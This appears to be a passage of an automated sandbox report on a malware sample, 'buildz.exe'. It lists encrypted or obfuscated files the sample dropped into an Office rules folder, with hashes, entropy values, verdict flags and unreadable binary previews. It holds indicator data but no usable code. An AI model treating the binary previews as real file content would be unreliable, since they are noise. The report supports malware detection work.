Preview:	<?xml.. s.6.....yd.H.....-;&gL5MI8..m.G...0...Y...7f.;.m.'....)..,3~.6..x..&..C.n..Z..cwV.Z.?......K...S.Q..K^rX......J.....CM...n..t.v.9O..%....6r/}.4h..n..Rx.S.I...........h.!.3J.f..-3.'.P..t=jd.!?..1....%....1..4..........<..dE..E!.]. ...'._L....W..b.<..T..:8...[Y<r.4.w.;Y.......<.....i.R.w".$..q....;...Qm...N!..3.......;.\|-.{RE...cUW...M...B".b./..FF.&.Q':V.T..8.m.)Q....~.!u.+.Q.m..?..\.8mz.....u..........O.Zmd.gH.C.Gn?..'....}....Iy...e.......... .7V.j)..P.^Uj.6Jr.H.........q...f..r.'.......I.,\#.q....r....".G........0M.R......X.UE....r9.\|........."..`F....'.....\.m./.A...OtJ..O.X....1bM.....]d.ja.\|.)r.!..m..GP/....JL#......'~...so.2..u......yey.&......f......$[...e..@.8.OY...t.1z....DA....EG.....PX.....U..T.....7.1.....$E...qa.d?BQ5.]..id2zJ........A...-(..^U.m..%.=.X......,..P,}..1...)8..SD\.........D...,..]..Gw..@%..m...o.:....x4...h...@..;...X..<.=km.T\|s..Y....j..`@9.U.Vm..:.^.I.[j..XR...c...2.."5n.o..KJ.x......W.R....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230168v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3440
Entropy (8bit):	7.938094026896384
Encrypted:	false
SSDEEP:	48:bBp5OADpE2hnZ+OIewQH2n70VlFAdK9xMD9DulgFmIE1uyDdF42zVyaL55Lv4VPy:FzNdE2hZ+OIehmMl99ambJjQSnLvX
MD5:	2206378DBB86E2E39EEA0CCDAFE7C3CE
SHA1:	13873C297DD24427AC827D3DA53EFB13515CB4E1
SHA-256:	948404C08B8CB1251806BAB5499DDF6002F5A074401168B6C59597D4961EA06B
SHA-512:	009FAECD03C5E49CD2FCEED92A9303C56E40EB6165C99B5E6F5970C815007928A7FD90835727AEA9B5235B2492730ABCE0E767C539AE5D68407F283602EEC56E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.$q...R.M.gg.9.r...@...>f?....t.. .Vg.0W"..\|...$.t..\....;i.....w.~..>...#B........=u<..C..K>.$6.z.7..\..wK.6......C.U..U.o.5b...V_:..F.k.?...CoT..pp....q..L...d...r......uc6E....+.q..(...sC&F...^4.T...,:....u.AaQd.Y..wJ.1...b.`.9...[....taz1.......D...8A.=...\....Z...1.#e.J<.A.%.f.a.t..I.5.......#a...\.[.d.j.H....UXH1rc8.,..RX>6../:.G.c..H.......v.......5.{F.g...br....4...:O.}...T.E..8Q1......33....U.Y.1z/......Y#.;y.)..G.>..d.(..u..._.._7..........Q...V....vk{.~L.+xm....HS1Av...z..O......l.<.<.w... >..L..!....5U..>A....!O7.W..>.~.).R.6....:.5......Tm.....9A6..H.b.....u.u..].y..;.!4....z..v..J...Ah....8.'........i.v. ...G._q.t.A..kZ.rz.2uG0V...bn.O......rFq1dvh..'.jv0$.vL.+.............M.........m.S.....BO.Nj.....q4..}......,`.$.q...g<G.........6"$.P...xK53..cTV,.....l...\...@.A....z....Y..V.;)J..\|d...wt...2...~i.3[....^.#.8.&..".M....-Y.z]...O5\|o...g.......z.....o.0d.eQo...C.m..*u ...P. -5...ZBK...g.....PV..vg...=](..<.s8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230169v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7735
Entropy (8bit):	7.976243684151926
Encrypted:	false
SSDEEP:	192:ZY79ZofSu71Hr835//uFl1W9+4H+DzQ5I6m/P7Q+IU3:66371LwHuRyuEqPP7QE
MD5:	294DEFD5E208B6B89CAF18D274B77051
SHA1:	9FFC2C10DE50A6349065ED34C1E22C2357A8CFB0
SHA-256:	3AF5D88CF8DE500F3D9DE282073325DFE50411F566631B836F2BD1795C3EAED7
SHA-512:	0C99D0D26C71AB9BFE31F6487DCD88E723E404DE7AFF74DCBB1232A81A739F410A05576C5DAF3C255D66389E9050BB77BA90F76288733E0A38CEA9AFDA81597B
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......E../..^!tAd.V..Ds.....>...\|z.....kYg..o.P..<J_q.;.+;..l...?(.C...e.U#.c0......1..(I.)!..f.#...+.....^.k....._.n-eR..ak..&2...g.C.......$..M..I...f..}..AC.}e. .1.li.!...\`...>r..E9..qf_.Vu.......9F....^y....M...........>.,......:..t\|.D ...3.."......].^.[. .B....^.Kh..U.?.#..m..k.....W{k$....n.\..W..9.I..5...f..O....z{;.`b.....G...~.Bd\.....D...)5..r..0.[..0..+.@VpO.+G...T....I.I..7...#.!.....o .....nWI..)3........w-!.Bb`...J...k2......LEst.'..tu..\|.....[.s1]..b......i..........n.s.t.)E..o.8...\|;.i..w...S5\..s._....k...s.h.P..@..w.l...t.....\|T.!Wv{..=.'.W..w...+.....\..sx9j5..Est...}.d.>..5...9..S ;....a...PcL..q...w.....$.i..l..}....Y.z.a.Q1.......hdMm..6.....".#..AR.f)...O....H..Eh./IQL.vg.z........Q9{.7\|p...1.....U.I.._.....3.\..yd.XXemJ8K.1.P..{.hv.Ef...m..T&.b..\....nf.57Ua..\l....*{g<..~K:.W.........8..e....Z7.o6t6G.....p..N.V...h(.....?(`......D9..zE$.~.%6.,..v:zX.6FWY+VSt..%.5......q...K......Q>......L...$5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	23958
Entropy (8bit):	7.992853575574941
Encrypted:	true
SSDEEP:	384:vokcMHw892GYMrPL1wRl3YpPOyd2uo1JAdPxF65P2c17imxThS064y8:dj2GLv1SlIIuo/yPx45eGxTY8
MD5:	6A109B0D590A4A5CFA3BC46D1A6FB253
SHA1:	032392B5CA9DD6402A28365AD9596CE31380F1AF
SHA-256:	87472EC42D109A3D34E229F1CDFC7805F4F5A6FCF05D40776C54E24043562CA0
SHA-512:	93BD46C030BD915D439ABE3C8124C6EBBBE430341D78F58C8B8B3EB3D778BAC4AEBB25F7E361F54AFB5DD8537BF48CD93532F2C5A0102089EC74DD696583BA7E
Malicious:	true
Reputation:	unknown
Preview:	<?xml...6b..31..e>.U..A...Aa....w.).n...._..5Xup.....u.E......n..=.......}.$.k_./..[.....l...I...P.9Z..#......................>M..r....I......X......Y..4....S$..@.$.. #....2....F<.<O{3.....tNV.>.os.s..QE.+.'....x...C..p..l..Z....`...C"..[...JRL.>......D....N.=.5..:..$.=...t%....J....K-..{.JQ.....U.v.\.R.s+.........X...q.V..k.Z...y._n.....u..9...r..m..90..@%......}...#.z..lX....B..<0U.Z.......~J.T..fmE.zh......\|.f..S..`..A1.NR.T].`.........-.+.E.V.....=X......T.G.. ..u..p..dY.{X.....w..6..Nc9.28....4...G.....l'....W@...9...DE../..W...T...d0.K.I.+.....X..w.y..v7.?..`vo.vPE...q.A'..X.{o<U..n/.B..h.2.....$..)M....{PWy.......=.P....[).VDj...q7.a @........bb..C5..T....>....t.i18......c.E..~.....@......_tT.~.W...m....[...@./.,......}~.>..KB...&NZ.g.j....T.....i...U.......E....j,EL.v..M4D.7=H...'\6...t)2..D..G17.hKrz.B_.a`...a..u8....5^9p}r=^..,}2..&.U.4.......y..u.PIJI..>.>...........9~:j..n.L;.2..w....7<..]....[...G.nicD.n"~. .4..o.{.x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230171v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1767
Entropy (8bit):	7.895975649788657
Encrypted:	false
SSDEEP:	24:btIj96pBbWZOGVoIL5Z997p4I558vT3aj0UrHY7qBIqxlZAdQBeCj31mdUi5G9kG:/BS173YTqj0Uk+7Udlugt5GaJ+OhtUD
MD5:	A519995D79DF64E8899172EA3E0EEA13
SHA1:	EBD7EFEC2B3123F342EF21D7D9230A9909913ADF
SHA-256:	D1B396ADD57429D03CE247D0E0D62421F658224DF30B468A31E4320C141B2451
SHA-512:	4753A8E72D2481978ADC867BC9C0645C566E5F6F0A78C8CB757A17C6F4D20DDBA4EA2BF5766491722EB2792D4026A8AF4E0A6A2F96B4B0CAC5CAF6FD87399B4D
Malicious:	false
Reputation:	unknown
Preview:	<?xml....=.)......w....A...`....D/.....?.. K......h..........[.t7.O0..D..:.u1...{U.`..V....=........./s....<..0.mC.C!I.@.Ke.:o.A.+.g[.G...w.-j]\.........-8...c...vj...3!y.eb.......ULV}..?e..&. .+[.R6@.NR...g,..!C...N.B.......}A..Mz -d...s.4....g,..s$ZP.^#M.).....m`.....]c..UO.!.[....{cG..m.0..?:..4.:.9z....)`g.Q.j........}.....s...I..R]..$.._.`..Fe.]n..g2v.........zW.a....{.e..}.F.H.Z.PR....?^s...1.........r.4.......]... .j@H..[...X#.6...q..F..E.Y.`.L.F^y...xq!f.u..g..?"RM.\..CpFQ.o.F.L..\|..~%N....a..[.....Q.}Y.2.A.}..dp.I.6.......\..47.....f.. .............`^..\|O..9L.[W..[4....;.!76h.C..,7.....SZ.%t6...Wd.....v<..x.R-.U.$.....s..".K..bOzj.$$X.._.@.zk.....$].D..L.qt....\{.~a.t..W.E.[Ou...E6hR.!Pd.j..'1...U\|u.^...MLW7.`.. .H.:.W..."j..J.c+......( ...&.60b...P..D..H..>.K^F....Z.8z.d..v..c@ .7:.8.I.K.?. .l..p7........\|8R....=.`.........:vyg.5..W....i.^......Zum.A4.+....75.`\|9... _.;.jxt^..O.Y.._)..&e+^......H....t.*...#D<\...........=../d#..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	7.993527410329762
Encrypted:	true
SSDEEP:	768:CqdPlaC5ORBpEWLHJ+EiQdNPrmpRrgqvgWiSHbi9WSpFxpWdvT:FPlaCsE8HJ+cdNjmpyvVSkXW
MD5:	28117C757CF12BE7AF4C10C605D8F6BD
SHA1:	765C8C7273313E54307AA0E959C23141BBAE16DA
SHA-256:	721D6C7351BEED2C24194117409DF33A0ABFBAA15BC6038CDCB23F6803B57B76
SHA-512:	5018E3064229F925353E267A9912C9FA5F28F87024B0CF87DFED12DF386B2EAEA5172CCF5FE9CCFC15ECEA56D7F4D01DCBE3AB723F2A4DE1DDCC5DB714BE30A2
Malicious:	true
Reputation:	unknown
Preview:	<?xml....P..X.n.....0Ye...a.o.........I..H..^V.DT.%0.t.J..1eQ.b...m[@ZP.l..AL..."....j..q..f.:.....U.>S....d.o.R......d.....\|p..$.BE..~.......;..&d.C.......H.....`..ag.v.C......V;.h..za.....{g.K.uI..n.Z....6.g.C..b.a ....A......>>+.s#.G.'.... .W..........7...&k{.rE.w..dS.*.....Hz.i..G.F..zS.;g..&.2.p.{P.S..%.".q......c.\|....7...~$.DK.R%+..6...d.tR;k...Dv.....$.x...\|/....4.I...X. .Z.cB^f.~.t..F...{;B.Y{.t+..>y...[.f$zVf.Q....[.}..@..E..l....1..UK......E+.}..Z.Z..W[...@..+.lq...._.'.".t.H.z.d.....A..e......{E.R.h....C;]\|..-..O..m..p........q..."#.V.A.......xv).d..F...[...-.......;(?KP.....Q. ..Dl.;.}y..J...1&..zu.;....[..\=.eQ..o8..1......5.....8.e..=.....N.i...]z..b.j....3...~P<..\|.G.? .%"...'..soNa...!.....M...I.J...7~.P.n{.....-W~...c.....C.c..v..,'..........}a....l...W.o%o....Y4.6.....Z.s.H4.q.z...M%...d.Y4d.=+:.......Z....#d../...Y\|.~.{.S..\.B........Q}..9..M._.C...m..b.&....h..i...p.e...D.o9...>/.!..t.....d..;....v..f....`.A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230173v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	6372
Entropy (8bit):	7.967410193722312
Encrypted:	false
SSDEEP:	192:bsw2cGTL0GuwdrUIXAgOkD6RX9U0Z75C0:bicGTLYuXArlRX9UGC0
MD5:	1C397D8E1A5A421EBD5654CE85C0418F
SHA1:	4250B7580A2D895E7EC84E1ADB35FA6C3687B337
SHA-256:	8271D2F2D650C8CEC1916D961F65D9E10C5295D4F0D74D7EB52BF976241D5A23
SHA-512:	03FDD818B948BA5217C96CD7D3B14779FD2DBB1AFC2DB0D33A47B5F3EBEEFCDF51B5E1327F3EFB8F3CB7E86F381D21B6C286F187E973DEB7B669D2E84BFA6002
Malicious:	false
Reputation:	unknown
Preview:	<?xml.y.b.q..d.?$Y..j.V..].......93..m...\|..5...9..`........."7.G.di7.4..,.v.n.dm.y.o.....mvT.......`!m..Y....m.\.re.MG..~...k..G.D....J..J...P.........)..{.......#..s.Dt.B.0}.P ...z..nx4s.zOCH......D7..AbZ.......{..]._...8O.au}...o...v.....?.-.).]...Vl.t@.+.6.p..-i^.......^...WN1<.......S`..X....c.\|..^...".....u...l..E.oS1.........T.C..........F..oQ..+=..`.1.......lmJ5Y..9..A......E..0?..F8g.sQ.#.A!.......E...,.N...%2<.&.&E.@Y\..V....c.s....qE..H...L.~.(0.../..H2'(. .y...... NCd..u.h.U.n.8.5../p.+.HE.i.t.\.A.....).{q..........s...i_7....j^J......j<.....+./.H.......Sz.I..'0..3.n..p.".\|....K..Y.&6K.3..x...5U.sw8/o../.bKT..9....RY...]..b....v..E..M.w.<.'W...Vfw...$]B.d(..hr'..`....:h[...)vtx....yz..n.N9.Lg.Z.um...j../..W.j .VT...0.,#@t]Q.MZ..TD .7....J..".+....0.V...H...B./...IR.~..f..u.[..V7..D...0....`v...O..._.\..).B6.F[.a.).....l...Z....Q..(..R.g.Q..S..V......w..@%.d.F.7..,..l...*2.W..%../q-A.....I3.f.W+.IN..\|.Q.y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230174v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2482
Entropy (8bit):	7.919492154951601
Encrypted:	false
SSDEEP:	48:IzRaM9YXcMT+bGinOnnnk3SMLWLu3gH9XEaiCWz1Ob63bUsqWAstVeMPDLu7dD:QMPiOnnk3jf3gdX2BjTqWAstVeMLLk
MD5:	48D5F3964614643B84AD5A185CB2B11B
SHA1:	992C37F2C55431F30A4EDC2CA81610485E0D6FB9
SHA-256:	D9A27152835D5F853AC4A0DA0C070B5265F03C920B7111A98517CD298C0D11EB
SHA-512:	9D521D2656F0E2ED975B48628CE1FA17B14494683A86899DA8CAE6015AC5175556CB796E7C5C5489E4E49DA63BA11B7C53DCEB26F462174CE24D053687DE97E7
Malicious:	false
Reputation:	unknown
Preview:	<?xmlg...e.\....Z[.....u...n.\|`...,@..)P{<dX...-o?...{..JH-...(............".@.q.K...- $.=.Ev.e.5...3P..$..........T..B..#...\:...h...S.%9.J.0.G.).y:..%....)...h.R.....SW#c....f.Z..eA.aK..H_L...7.A..~..\e.%...M.P..../h...>6.F..J.+.Z.doq...Z.....jp.I.$.#..."....q...z.4.\|....aiDb...4i../.XS..DT5.."..&f...$xZz....oj.......B.qP..&/...Iw7...7..#\.o.,!.O..he..ee..D./;`".4.j.n...?..'I......K\|..kN...b..BC&.\.?\|.,W.p^it.....A...u3.U..4.atO.H..R..{.(......D&.M........PN...[.f.........X.w.:,Xt..J....w6Mc.Rd<..p.?...\|~X..z..V T.>.8.@FD..&..)Mz..^Q%....V@.F@5r.....r.n..e.`^lxD.....v^.......>.lqb.g....e.zr..[..G..x9..Al-.3...0.N.....Sr*q.^.J.D..{..'A.......s..zV;5.O@......',...ZXP~.'..i.y......;..<.0(....?....U.(...._...1e.e$.......\..9%.}^..R...Vn......!.SU.z.FC..o<.6..k.=.Ww...r..D..".}...FLN3%,...(....-~...V.(v.).y$...D...A..q.......b.?...r...+..W......%D....9$.pu.. ..f...z./]...-.b..sf.....X.z...@.)..\......+:M2D....}[Ks..y{..ERZm..F}.....h;V.dQ..8...t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230200v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	7.882465728261039
Encrypted:	false
SSDEEP:	48:0oBjO/MJboczKDfiQzFqfV3WrfKjl6l/PoAEwBZ5xfbD:HBjO0JscMfiL4rKjq265J
MD5:	E8B3CD1C8A07DD0948D36A1885D333FB
SHA1:	C79E0D389B05DCF985FFD0F80E7FCC03E6098E86
SHA-256:	DACB457B532544791BBD584BD8B2127595F9053321689E36B43E151EF2828A67
SHA-512:	0A1B9668F3D92CA78F92AF5854141E0C7D900CEFA179B6490F78BEA2AF20D351D21271128054B8B93C5E766454F9BF3A885E309B2CFA13AB7CD8FC9C4FAA3C44
Malicious:	false
Reputation:	unknown
Preview:	<?xml..[..........$..Q.P&..W....k.....;S3].RW.R\j.}...W.2.[H....O....q...8.........c2`.X...0P....r...a..sx\<l....x:..@...3................twl4P....2.i=6.!..F@F3...Q4Y%..\.0..E.....Yr..`:...........^...oX.+D.i.U.nP.1R.xv..2....l..."cc..H..9!Pe..[..*.t.;.3..B.qiuM.XV......../T.Z..W..d.rN.k..".Y...A.>.Sx..K.....6..fu`wR... ..[ll..eSof.hP.N........&.,"}j.y.A..t..D..,...@\|..0..dK..v...}..L.`.h.....D..5...z;..2b.s.Mz....n..<K.b......Dx:D...g.q..Z.&...`....Q...<}h4j{.O....i(.T.}..l1^...sX.Z...t&{.o.Pb....FJvAk..I.f..I..S.K...y..ZfU._..f.e.......V..l.0..<}E..i.^....gyF...p..........yG.....lC..0..E8....0.jx..y..t.....22t............zv.,...+t..A.`...O......x...U.).'.C.xv...!..Qr..3FJ......9`.g...d.,.U..5....}....[. ....a...2...j,..p.\.......P...(...nG.#=...9..rZ..M..M.......\|H..d=@.-kA..Q.....>.N4.t.z,u0...X.Z.o7L.......!....wo.r.hW.x....?...m.y...Z.IP.\|..#..(.98A.A.As..JQ.LA....G{....u..P.\|.$...oB,..+tN.k..!.."E.....+W..F.z.R....O.R.^..X./.u.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.895845466050072
Encrypted:	false
SSDEEP:	48:3Dnu46EjnznXT9RUzfWM3P4FiX1weMwnxnDD:Lj6EJ2fVA615V
MD5:	3C2862A440922ABB75CFE2E8E08C0A1C
SHA1:	344CF304F2E31213CCFB78535B506406C0CA44C8
SHA-256:	A38D903EC61C6CFFCE64493A550B9E9B9D56ED70FF93FF2C51EEEF93432CACF9
SHA-512:	981AEB8BA60D1D691D8EF2B373C23D1330B999098D426F469DEF087F9C61CC849C617C3A74EC07CCDA5C4F2FDA9ABB515C5970F236207AAF36733D3E025D1041
Malicious:	false
Reputation:	unknown
Preview:	<?xml`..H..f...C..p..E.dh..+B..g."..O....e..3.`.zG../e...~..D...yd.M...o....(.........=<.+.r5..O.,......C....m:`....U...NkQ C....\.uA..uS...."...../6....V..X.omL..H..i.H.....P.4.EY.{q..;..6g.8C.7?....&..t}.hf.S..p]{.<.w.....(I1..'....D4...:..J.O.r.....MVH...[...RJ.jd-W._....b.....q.....W.v.+.......m..rP.aP.5...a...-.Ay..<....Y....v58u#m..6.B.[,.W.Y6YR.t..M.<.=h.C.._.A.FS...$!.5.1...\|....B/D.sXI...rz.....ti....eR.;.V.z..."M.Wb.mm}\|.t..-1u$K...,7........G...+...~\y.#)..k....A0..=I<...%7.]..3....w.....DYw...a..t.2!.....8..0...._.X\.........F]..E.......{.2..bk..../?,..=.....[D.V....{.(.e-.s.laiw.r.=...cfW.X.<].,..K.7.5.t.y.O...w.g..^.....:..L`.Q...A..-y..q..{u.....cyh..t....Q0.[.....w...&R......X.jE$......mE...c...].%}$...l......s& .........P..Q.. gz..b.J.;..[...A...R.`..\...L...'..~.....T...q.MO.CR!...0...EJ.V_@&W.%j..,.....[..L.{v.b.N;KW.........]HBC>uV**..g...SY-.x.....`uR...5(.}.."..1......S2.S......-........U=.!...4.?~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.9144466172580445
Encrypted:	false
SSDEEP:	48:jXS5XN7E8z4mn1IsdeNRG38oAPKvzfwz7yRbY7PsRm3D:ji597EGIsdeG86v8vyePsAz
MD5:	1ED0059FAAC27B0652783721AFC4D4D9
SHA1:	D3D47B17BFBAEDD1712011C285ED8E5150D519C0
SHA-256:	19147786D269DE051A2FA3EA4C0CC3C2CF60663D422DE9B52BADC68B8B4D1592
SHA-512:	5EB79587CA420AF3A9D3CD7C67B4CFB12515F81B34272019C12910E3C22249EF396D87F2B339D35A4A091AA2978411040A0D7BEFF137AA12EE773B22E4E3C97C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......D/.m....Y..{\|.........+KN.}.?1.\.nh.$..l.:...2........r....."..'.2..v....R..CgZ#....S}.e=.......J.$...=......8h.$..+.b_?.......K..i...JEl...1Py\|~....j.r+....Q.<3.....{..,.NQ..D.%6gB#QR..3.. ...V.x.C....7..U~i....p~.k.E...{0.V..&-.v....p.L..5.~.......t.R..$1..+6.{.U....85..Op.......D..ac....#f...@.e>.F.1...1 .!.a.......a..s........A..]jk.f..h.x.8... ..!`...v..9(.{$?....4..\|......V...J....[......h...>..@.......XP...6.,...^g..V...?...........T...g.....g.M.0Z,..h.p...m}.....5...,...g/...u.^.":r..mr....iS.......`aCZ..@..u..".Bqh.f..\..:......4.8.#S..I&W..g...yJ7..=..+%.;.c...J.......}8T...............>n.........@(....2.m#...D>........../+..-.....G.m....v.[....Ns.tLy'V..Q.F.v.U..,......>...!.....0../.+W.&...I..k.s..w./..N.....gZ....U.y..<'il......J...m...)..Z.....6...s.,m.w....1..7.a71.'k..S.b.@.a..x...A..p.x.vk.......!f^I3..K#Z....N.~..S_a...-..I;.bZ.....B"'....J..$.V...5...FN.s8.(....$......Y{.<...........j..#t......d..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.88429697044482
Encrypted:	false
SSDEEP:	48:gv5pGumVZHpmTxx9qWxDdUIQ6SsuPTIrcAND:K5pGumVJ4NCgDqIQ6xukF1
MD5:	E0B10CCA0FBE8B682F24AC1D6C91E5A3
SHA1:	B81ABF94FECA1E3089E7B400CBD0B585AF7523B9
SHA-256:	941C6F742318D1867E507AD823E886A5C6B24795C4C3A7CE668368DA46E03053
SHA-512:	0BC5B285FC8D5CD6CEFDCF35FE41E3E1924CCCF8F237BF9A91483CF4CB303BD72C0D3D07BD11612C2BF778BC85FCA23A18AE088CB5B2C06E7B627B75E3CEB20E
Malicious:	false
Reputation:	unknown
Preview:	<?xml..%.e.%..Bz...h(.G...n.R.x...:..h.x.[.._.G....F.Z. ..V.K2....n..6.....ffr.D..!.K.~%O......o:.,.v0........u.Y..=.U..Fi-..p9....9?.1. .{.X.......U.i....S<9"V}....5u.R.\.D.../..]!..EI....D.%.kP:.....G..q).l,0...!".=.].@.W.2...`.C.\|.>_...b}...v.y.:.z...! ...\|.l.]...T.G........L...d.....0...\<o.:/)....q....U...q&..S.ItX...a^.\|.............6_ZK\|{......eD\.1.......E.8.....K......9 P...a.G;.t..g.GN%5..Mo...GL.....A<U..jx.X.....M....m...<4...3._.B......b.V...+.U......hDI$m...4..#....7NZ..K.........rY........J..........F}.-.......9..D..<...l........%..=`]j.Lv.~.BN..A..g8x.9.$....rh).......^.s]h....d.5..f.......L..v.Mc}..e!N.Z.....H......_0..u..w-...,..Z..d.uUW}....Z....F..G..f).:lz.E.,A...fD..~]...N.Zo(7..S9$MF..+....KT.P=g.x....=..fGP...2.YjZ^.\|..>s.G.x........hzb6.U..... dgX.....-...-.......I2.....-..y.(...2Q.!H.)....8.....!<5X.....W/}..4..ok.'.g...06.>I.'\|.!.gP>.DOE..q.c...&.B .e..d.N.T.VK ...0..Q....T0.....\|_>S;>.O?8..E7r..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.889281050394557
Encrypted:	false
SSDEEP:	24:ZaNWfd/ksEX/pjW7kA9M0bvpnxoVpW6EBTdTpm9Wfo/VIQIsbkvAmiuK6awDXAHX:ZaN+gqM0dmC6sFpcWgasOiulzA4hr4D
MD5:	E83921C3B0CC7EC18526B1EA20731986
SHA1:	491DBA6454190B4EF934F96FDC180B81C3ED4D9F
SHA-256:	4FA91AD32FDF062281538115962582F656C1C769EBECC5EF1B7EF1163244B697
SHA-512:	E5C8F1BB69642FF05AF8560835F6005AEE01CBC7053851A18FB4CAF5F9504BB9FF5CC8B457B0CCB534C9F0769AC9782D487EC6F3218CA94210BA57DDCB3E3037
Malicious:	false
Reputation:	unknown
Preview:	<?xml0H...2......'i...u...D..l^CU:P..Lx.m....!1...$....].+......HH.+b.c.y]t.3.-.c%.o.eV..e...u..@......h{.f...8T...>H}..Jr.}.@.uC.!.:..~.I......F.,..~....>..$u3......N....{x<....&".=../.z=wow..r..SH.}.VR./...)....... .B...m.....4..s..+TTQi...Jp..?..z.7J.0.8.......xf....~.r....)..Nc.2b>.+2/.h....M.2.....CNe.<..M\.....V....(..G.e...{...E.f&..$R...V.C..)..xV..L5.O.wW.Fn...i........ y..;..C.l.L....G.\|.04...g2..S<.W....i.P?....^:...q../.a..f.$..>#.".y.....c.(.M...K..G.:...........d...X".....[}..a.}X.9.4..sy.\W....S..\.~....{....SJ..j.c........O.n.... .y..A..O{'...]Y.Q..w...;....wo..Q='..`....ux.dqj...<........9....59.....i>..iduF.N..p..my.T=2O.3.\|;..k...%.O..-/..A..0..{..J.b.(...O..e.XpZF..kF....b..+[.do.t...:J....@C.`VHB..'. <6.m.g..5U..!.EY,3..x3.wf..7......$..3Fn..6n...#Y\..^JO...i..bI..S.}...7.S...Q......Hfu.\0Y.>n.3..H..,.$.....A...u........'.Zv.-R`].......D3h..Q...q......(..sOf}..0x...B..V-..Yp....4......_.v...i}...n........=d......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871014195878929
Encrypted:	false
SSDEEP:	24:wH3pOVBLH5Tx3aBu+PQiSxQOA8eYX3pvXQrTES6RYmMI1qVtabD:wXpOjLH5pKu+PQi41A8eYX3BArTkRLjD
MD5:	CAD275A0E0E2DB7CF566FD14B984E6B7
SHA1:	581AA01E28AE60572159B28C67F20BDAD1BFFF9A
SHA-256:	B945B21A024A81CF26521969CEED588597C4C525DA790C62AE91380BD2A9C994
SHA-512:	F280AE8F94578D4F630F4048420F6704C323A567D4EB2C913E8147016B62841DF460B4CD204BF15F500FA007073BE495520C228D2391E285A14285898D3D7357
Malicious:	false
Reputation:	unknown
Preview:	<?xmlM.v/.....69.E.{.D....\|!h#'.w..Y&...E.....d.PCB.Ox~.,.k...)..e!....[.@.....O5..9.o.<.1...]E..C..T..#:W:?....w...s.?v.Ra/.3ny....(..oMu..\|.I......1Pj.x..)..4.@....5....B......~{..u.J...A;....>.s.....O.m.twiaB ......J...?..i.z..p.4T.M.......Y...K%.zL..n........A2]B.kj..3.O..['`b{..%.......e.<g.B3....t.:l..e.'o)... ...P....^...A.[U..i......a...\.m.m--..je.C.}..C.D.....~.....\|E.Z....../.B;.9..Q...5.....P........D.......(.........w..By./..D.M"..'.o.....yB.....l.F...[....EF.....$....c.........U........?tD.w... w..rX7......G.{b...4......^/A.=....BV...<.....-.......{..I*../f<C..m..R....0J...<5.^..w.U.....H....0/3.PW..w.V{./.r..3..O...u.@.8\...-..n.e..K..Z.V$..VtT...@L..E.......T..RZjE..=C...k...d.4/j..G.\|.C.{.;..y.ms_( ..+........Dt..P}.a=....20.N.d.<.`....F?..nL.e....G.kx........../..n<p8..?..R....~N.k:.....z..t....S7..@wy..p^..AX...n.r.dt.f....GC]9...F....zsC....\o.4Qv..$.........).~,........d..\|f....rwC.......-...p.y/...0D,qz........_H?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.898025196104019
Encrypted:	false
SSDEEP:	24:bIDnMagxw+dyWIBPy+jDW8KSWraT3ZTHwfhv34T+LUFzp1zItVE7Icrmgx9bD:enfiVQDy+WHWFEhv3rLqKGsYD
MD5:	11E1EDDEF4EC0D5428532BA5262D5ED0
SHA1:	C9A9B0043FC31B6E42EB59577B0CC36141D65CC8
SHA-256:	33A1475FB93CD6924D547148CCEBE6A20BE9C0D67B5489000C7049C93D10675D
